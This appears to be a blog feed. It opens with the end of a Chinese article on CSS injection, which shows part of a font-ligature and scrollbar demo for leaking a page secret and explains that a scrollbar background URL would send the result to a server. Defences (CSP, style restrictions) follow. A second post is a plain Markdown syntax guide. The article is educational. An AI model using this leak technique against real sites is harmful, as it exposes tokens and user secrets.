<span class="na">d</span><span class="o">=</span><span class="s">&#34;M1 0z&#34;</span><span class="p">/&gt;</span> </span></span><span class="line"><span class="cl"> <span class="p">&lt;/</span><span class="nt">font</span><span class="p">&gt;</span> </span></span><span class="line"><span class="cl"> <span class="p">&lt;/</span><span class="nt">defs</span><span class="p">&gt;</span> </span></span><span class="line"><span class="cl"> <span class="p">&lt;/</span><span class="nt">svg</span><span class="p">&gt;</span> </span></span><span class="line"><span class="cl"> <span class="p">&lt;</span><span class="nt">style</span><span class="p">&gt;</span> </span></span><span class="line"><span class="cl"> <span class="nt">script</span> <span class="p">{</span> </span></span><span class="line"><span class="cl"> <span class="k">display</span><span class="p">:</span> <span class="kc">block</span><span class="p">;</span> </span></span><span class="line"><span class="cl"> <span class="k">font-family</span><span class="p">:</span><span class="s2">&#34;hack&#34;</span><span class="p">;</span> </span></span><span class="line"><span class="cl"> <span class="k">white-space</span><span class="p">:</span><span class="n">n</span> <span class="n">owrap</span><span class="p">;</span> </span></span><span class="line"><span class="cl"> <span class="k">overflow-x</span><span class="p">:</span> <span class="kc">auto</span><span class="p">;</span> </span></span><span class="line"><span class="cl"> <span class="k">width</span><span class="p">:</span> <span class="mi">500</span><span class="kt">px</span><span class="p">;</span> </span></span><span class="line"><span class="cl"> <span class="k">background</span><span class="p">:</span><span class="kc">lightblue</span><span class="p">;</span> </span></span><span class="line"><span class="cl"> <span class="p">}</span> </span></span><span class="line"><span class="cl"> </span></span><span class="line"><span class="cl"> <span class="nt">script</span><span class="p">::</span><span class="nd">-webkit-scrollbar</span> <span class="p">{</span> </span></span><span class="line"><span class="cl"> <span class="k">background</span><span class="p">:</span> <span class="kc">blue</span><span class="p">;</span> </span></span><span class="line"><span class="cl"> <span class="p">}</span> </span></span><span class="line"><span class="cl"> </span></span><span class="line"><span class="cl"> <span class="p">&lt;/</span><span class="nt">style</span><span class="p">&gt;</span> </span></span><span class="line"><span class="cl"><span class="p">&lt;/</span><span class="nt">body</span><span class="p">&gt;</span> </span></span><span class="line"><span class="cl"><span class="p">&lt;/</span><span class="nt">html</span><span class="p">&gt;</span> </span></span></code></pre></td></tr></table> </div> </div><p>我用 script 放了兩段 JS，裡面內容分別是 <code>var secret = &quot;abc123&quot;</code> 跟 <code>var secret2 = &quot;cba321&quot;</code>，接著利用 CSS 載入我準備好的字體，只要有 <code>&quot;a</code> 的連字，就會寬度超寬。</p> <p>再來如果 scrollbar 有出現，我把背景設成藍色的，比較顯眼，最後的結果如下：</p> <p><img src="https://live.staticflickr.com/65535/52401123268_8a272ac3b8_o.png" max-width="100%" max-height="100%" class="gallery-image" loading="lazy" ></p> <p>上面因為內容是 <code>var secret = &quot;abc123&quot;</code>，所以符合了 &ldquo;a 的連字，因此寬度變寬，scrollbar 出現。</p> <p>下面因為沒有 <code>&quot;a</code>，所以 scrollbar 沒出現（有 a 的地方都會缺字，應該跟我沒有定義其他的 glyph 有關，但不影響結果）</p> <p>只要把 scrollbar 的背景換成 URL，就可以從 server 端知道 leak 的結果。</p> <p>如果想看實際的 demo 跟 server 端的寫法，可以參考上面附的那兩篇文章。</p> <hr> <h3 id="防禦方式">防禦方式</h3> <p>最後我們來講一下防禦方式，最簡單明瞭的當然就是直接把 style 封起來不給用，基本上就不會有 CSS injection 的問題（除非實作方式有漏洞）。</p> <p>如果真的要開放 style，也可以用 CSP 來阻擋一些資源的載入，例如說 font-src 就沒有必要全開，style-src 也可以設置 allow list，就能夠擋住 <code>@import</code> 這個語法。</p> <p>再來，也可以考慮到「如果頁面上的東西被拿走，會發生什麼事情」，例如說 CSRF token 被拿走，最壞就是 CSRF，此時就可以實作更多的防護去阻擋 CSRF，就算攻擊者取得了 CSRF token，也沒辦法 CSRF（例如說多檢查 origin header 之類的）。</p> <hr> <h3 id="總結-1">總結</h3> <p>CSS 果真博大精深，真的很佩服這些前輩們可以把 CSS 玩出這麼多花樣，發展出這麼多令人眼界大開的攻擊手法。當初在研究的時候，利用屬性選擇器去 leak 這個我可以理解，用 unicode-range 我也能理解，但是那個用文字高度加上 CSS animation 去變化的，我花了不少時間才搞懂那在幹嘛，連字那個雖然概念好懂，但真的要實作還是會碰到不少問題。</p> <p>最後，這兩篇文章主要算是介紹一下 CSS injection 這個攻擊手法，因此實際的程式碼並不多，而這些攻擊手法都參考自前人們的文章，列表我會附在下面，有興趣的話可以閱讀原文，會講得更詳細一點，如果對哪項攻擊想要深入了解，也可以留言跟我交流。</p> <hr>https://blog.wayne-project.com/2022-07-16/markdown-syntax/Sat, 16 Jul 2022 00:00:00 +0000https://blog.wayne-project.com/2022-07-16/markdown-syntax/<img src="https://blog.wayne-project.com/2022-07-16/markdown-syntax/pawel-czerwinski-8uZPynIu-rQ-unsplash.jpg" alt="Featured image of post Markdown 語法指南" /><p>Markdown 是讓你快速撰寫筆記，流暢管理知識，支援多種衍生功能的生產力工具</p> <h2 id="標題">標題</h2> <p>當您想要將一段文字標示為標題的時候，請使用這個語法。<br> 請在行首輸入 <code>#</code> 符號，並在後面加上一個空白後，再輸入標題文字。<br> 標題有分成 6 個層級，<code>#</code> 的數量愈多，層級越低。</p> <div class="highlight"><div class="chroma"> <table class="lntable"><tr><td class="lntd"> <pre tabindex="0" class="chroma"><code><span class="lnt">1 </span><span class="lnt">2 </span><span class="lnt">3 </span><span class="lnt">4 </span><span class="lnt">5 </span><span class="lnt">6 </span></code></pre></td> <td class="lntd"> <pre tabindex="0" class="chroma"><code class="language-fallback" data-lang="fallback"><span class="line"><span class="cl"># 第一層級標題 h1 </span></span><span class="line"><span class="cl">## 第二層級標題 h2 </span></span><span class="line"><span class="cl">### 第三層級標題 h3 </span></span><span class="line"><span class="cl">#### 第四層級標題 h4 </span></span><span class="line"><span class="cl">##### 第五層級標題 h5 </span></span><span class="line"><span class="cl">###### 第六層級標題 h6 </span></span></code></pre></td></tr></table> </div> </div><h2 id="paragraph">Paragraph</h2> <p>Xerum, quo qui aut unt expliquam qui dolut labo. Aque venitatiusda cum, voluptionse latur sitiae dolessi aut parist aut dollo enim qui voluptate ma dolestendit peritin re plis aut quas inctum laceat est volestemque commosa as cus endigna tectur, offic to cor sequas etum rerum idem sintibus eiur? Quianimin porecus evelectur, cum que nis nust voloribus ratem aut omnimi, sitatur? Quiatem. Nam, omnis sum am facea corem alique molestrunt et eos evelece arcillit ut aut eos eos nus, sin conecerem erum fuga. Ri oditatquam, ad quibus unda veliamenimin cusam et facea ipsamus es exerum sitate dolores editium rerore eost, temped molorro ratiae volorro te reribus dolorer sperchicium faceata tiustia prat.</p> <p>Itatur? Quiatae cullecum rem ent aut odis in re eossequodi nonsequ idebis ne sapicia is sinveli squiatum, core et que aut hariosam ex eat.</p> <h2 id="blockquotes">Blockquotes</h2> <p>The blockquote element represents content that is quoted from another source, optionally with a citation which must be within a <code>footer</code> or <code>cite</code> element, and optionally with in-line changes such as annotations and abbreviations.</p> <h4 id="blockquote-without-attribution">Blockquote without attribution</h4> <blockquote> <p>Tiam, ad mint andaepu dandae nostion secatur sequo quae. <strong>Note</strong> that you can use <em>Markdown syntax</em> within a blockquote.</p></blockquote> <h4 id="blockquote-with-attribution">Blockquote with attribution</h4> <blockquote> <p>Don&rsquo;t communicate by sharing memory, share memory by communicating.<br> — <cite>Rob Pike<sup id="fnref:1"><a href="#fn:1" class="footnote-ref" role="doc-noteref">1</a></sup></cite></p></blockquote> <h2 id="tables">Tables</h2> <p>Tables aren&rsquo;t part of the core Markdown spec, but Hugo supports supports them out-of-the-box.</p> <table> <thead> <tr> <th>Name</th> <th>Age</th> </tr> </thead> <tbody> <tr> <td>Bob</td> <td>27</td> </tr> <tr> <td>Alice</td> <td>23</td> </tr> </tbody> </table> <h4 id="inline-markdown-within-tables">Inline Markdown within tables</h4> <table> <thead> <tr> <th>Italics</th> <th>Bold</th> <th>Code</th> </tr> </thead> <tbody> <tr> <td><em>italics</em></td> <td><strong>bold</strong></td> <td><code>code</code></td> </tr> </tbody> </table> <table> <thead> <tr> <th>A</th> <th>B</th> <th>C</th> <th>D</th> <th>E</th> <th>F</th> </tr> </thead> <tbody> <tr> <td>Lorem ipsum dolor sit amet, consectetur adipiscing elit.</td> <td>Phasellus ultricies, sapien non euismod aliquam, dui ligula tincidunt odio, at accumsan nulla sapien eget ex.</td> <td>Proin eleifend dictum ipsum, non euismod ipsum pulvinar et. Vivamus sollicitudin, quam in pulvinar aliquam, metus elit pretium purus</td> <td>Proin sit amet velit nec enim imperdiet vehicula.</td> <td>Ut bibendum vestibulum quam, eu egestas turpis gravida nec</td> <td>Sed scelerisque nec turpis vel viverra. Vivamus vitae pretium sapien</td> </tr> </tbody> </table> <h2 id="code-blocks">Code Blocks</h2> <h4 id="code-block-with-backticks">Code block with backticks</h4> <div class="highlight"><div class="chroma"> <table class="lntable"><tr><td class="lntd"> <pre tabindex="0" class="chroma"><code><span class="lnt"> 1 </span><span class="lnt"> 2 </span><span class="lnt"> 3 </span><span class="lnt"> 4 </span><span class="lnt"> 5 </span><span class="lnt"> 6 </span><span class="lnt"> 7 </span><span class="lnt"> 8 </span><span class="lnt"> 9 </span><span class="lnt">10 </span></code></pre></td> <td class="lntd"> <pre tabindex="0" class="chroma"><code class="language-html" data-lang="html"><span class="line"><span class="cl"><span class="cp">&lt;!doctype html&gt;</span> </span></span><span class="line"><span class="cl"><span class="p">&lt;</span><span class="nt">html</span> <span class="na">lang</span><span class="o">=</span><span class="s">&#34;en&#34;</span><span class="p">&gt;</span> </span></span><span class="line"><span class="cl"><span class="p">&lt;</span><span class="nt">head</span><span class="p">&gt;</span> </span></span><span class="line"><span class="cl"> <span class="p">&lt;</span><span class="nt">meta</span> <span class="na">charset</span><span class="o">=</span><span class="s">&#34;utf-8&#34;</span><span class="p">&gt;</span> </span></span><span class="line"><span class="cl"> <span class="p">&lt;</span><span class="nt">title</span><span class="p">&gt;</span>Example HTML5 Document<span class="p">&lt;/</span><span class="nt">title</span><span class="p">&gt;</span> </span></span><span class="line"><span class="cl"><span class="p">&lt;/</span><span class="nt">head</span><span class="p">&gt;</span> </span></span><span class="line"><span class="cl"><span class="p">&lt;</span><span class="nt">body</span><span class="p">&gt;</span> </span></span><span class="line"><span class="cl"> <span class="p">&lt;</span><span class="nt">p</span><span class="p">&gt;</span>Test<span class="p">&lt;/</span><span class="nt">p</span><span class="p">&gt;</span> </span></span><span class="line"><span class="cl"><span class="p">&lt;/</span><span class="nt">body</span><span class="p">&gt;</span> </span></span><span class="line"><span class="cl"><span class="p">&lt;/</span><span class="nt">html</span><span class="p">&gt;</span> </span></span></code></pre></td></tr></table> </div> </div><h4 id="code-block-indented-with-four-spaces">Code block indented with four spaces</h4> <pre><code>&lt;!doctype html&gt; &lt;html lang=&quot;en&quot;&gt; &lt;head&gt; &lt;meta charset=&quot;utf-8&quot;&gt; &lt;title&gt;Example HTML5 Document&lt;/title&gt; &lt;/head&gt; &lt;body&gt; &lt;p&gt;Test&lt;/p&gt; &lt;/body&gt; &lt;/html&gt; </code></pre> <h4 id="code-block-with-hugos-internal-highlight-shortcode">Code block with Hugo&rsquo;s internal highlight shortcode</h4> <div class="highlight"><div class="chroma"> <table class="lntable"><tr><td class="lntd"> <pre tabindex="0" class="chroma"><code><span class="lnt"> 1 </span><span class="lnt"> 2 </span><span class="lnt"> 3 </span><span class="lnt"> 4 </span><span class="lnt"> 5 </span><span class="lnt"> 6 </span><span class="lnt"> 7 </span><span class="lnt"> 8 </span><span class="lnt"> 9 </span><span class="lnt">10 </span></code></pre></td> <td class="lntd"> <pre tabindex="0" class="chroma"><code class="language-html" data-lang="html"><span class="line"><span class="cl"><span class="cp">&lt;!doctype html&gt;</span> </span></span><span class="line"><span class="cl"><span class="p">&lt;</span><span class="nt">html</span> <span class="na">lang</span><span class="o">=</span><span class="s">&#34;en&#34;</span><span class="p">&gt;</span> </span></span><span class="line"><span class="cl"><span class="p">&lt;</span><span class="nt">head</span><span class="p">&gt;</span> </span></span><span class="line"><span class="cl"> <span class="p">&lt;</span><span class="nt">meta</span> <span class="na">charset</span><span class="o">=</span><span class="s">&#34;utf-8&#34;</span><span class="p">&gt;</span> </span></span><span class="line"><span class="cl"> <span class="p">&lt;</span><span class="nt">title</span><span class="p">&gt;</span>Example HTML5 Document<span class="p">&lt;/</span><span class="nt">title</span><span class="p">&gt;</span> </span></span><span class="line"><span class="cl"><span class="p">&lt;/</span><span class="nt">head</span><span class="p">&gt;</span> </span></span><span class="line"><span class="cl"><span class="p">&lt;</span><span class="nt">body</span><span class="p">&gt;</span> </span></span><span class="line"><span class="cl"> <span class="p">&lt;</span><span class="nt">p</span><span class="p">&gt;</span>Test<span class="p">&lt;/</span><span class="nt">p</span><span class="p">&gt;</span> </span></span><span class="line"><span class="cl"><span class="p">&lt;/</span><span class="nt">body</span><span class="p">&gt;</span> </span></span><span class="line"><span class="cl"><span class="p">&lt;/</span><span class="nt">html</span><span class="p">&gt;</span></span></span></code></pre></td></tr></table> </div> </div> <h4 id="diff-code-block">Diff code block</h4> <div class="highlight"><div class="chroma"> <table class="lntable"><tr><td class="lntd"> <pre tabindex="0" class="chroma"><code><span class="lnt">1 </span><span class="lnt">2 </span><span class="lnt">3 </span><span class="lnt">4 </span><span class="lnt">5 </span></code></pre></td> <td class="lntd"> <pre tabindex="0" class="chroma"><code class="language-diff" data-lang="diff"><span class="line"><span class="cl">[dependencies.bevy] </span></span><span class="line"><span class="cl">git = &#34;https://github.com/bevyengine/bevy&#34; </span></span><span class="line"><span class="cl">rev = &#34;11f52b8c72fc3a568e8bb4a4cd1f3eb025ac2e13&#34; </span></span><span class="line"><span class="cl"><span class="gd">- features = [&#34;dynamic&#34;] </span></span></span><span class="line"><span class="cl"><span class="gd"></span><span class="gi">+ features = [&#34;jpeg&#34;, &#34;dynamic&#34;] </span></span></span></code></pre></td></tr></table> </div> </div><h2 id="list-types">List Types</h2> <h4 id="ordered-list">Ordered List</h4> <ol> <li>First item</li> <li>Second item</li> <li>Third item</li> </ol> <h4 id="unordered-list">Unordered List</h4> <ul> <li>List item</li> <li>Another item</li> <li>And another item</li> </ul> <h4 id="nested-list">Nested list</h4> <ul> <li>Fruit <ul> <li>Apple</li> <li>Orange</li> <li>Banana</li> </ul> </li> <li>Dairy <ul> <li>Milk</li> <li>Cheese</li> </ul> </li> </ul> <h2 id="other-elements--abbr-sub-sup-kbd-mark">Other Elements — abbr, sub, sup, kbd, mark</h2> <p><abbr title="Graphics Interchange Format">GIF</abbr> is a bitmap image format.</p> <p>H₂O</p> <p>Xⁿ + Yⁿ = Zⁿ</p> <p>Press <kbd><kbd>CTRL</kbd>+<kbd>ALT</kbd>+<kbd>Delete</kbd></kbd> to end the session.</p> <p>Most <mark>salamanders</mark> are nocturnal, and hunt for insects, worms, and other small creatures.</p> <h2 id="hyperlinked-image">Hyperlinked image</h2> <p><a class="link" href="https://google.com" target="_blank" rel="noopener" ><img src="https://www.google.com/images/branding/googlelogo/1x/googlelogo_light_color_272x92dp.png" max-width="100%" max-height="100%" alt="Google" class="gallery-image" loading="lazy" ></a></p> <div class="footnotes" role="doc-endnotes"> <hr> <ol> <li id="fn:1"> <p>The above quote is excerpted from Rob Pike&rsquo;s <a class="link" href="https://www.youtube.com/watch?v=PAAkCSZUG1c" target="_blank" rel="noopener" >talk</a> during Gopherfest, November 18, 2015.&#160;<a href="#fnref:1" class="footnote-backref" role="doc-backlink">&#x21a9;&#xfe0e;</a></p> </li> </ol> </div>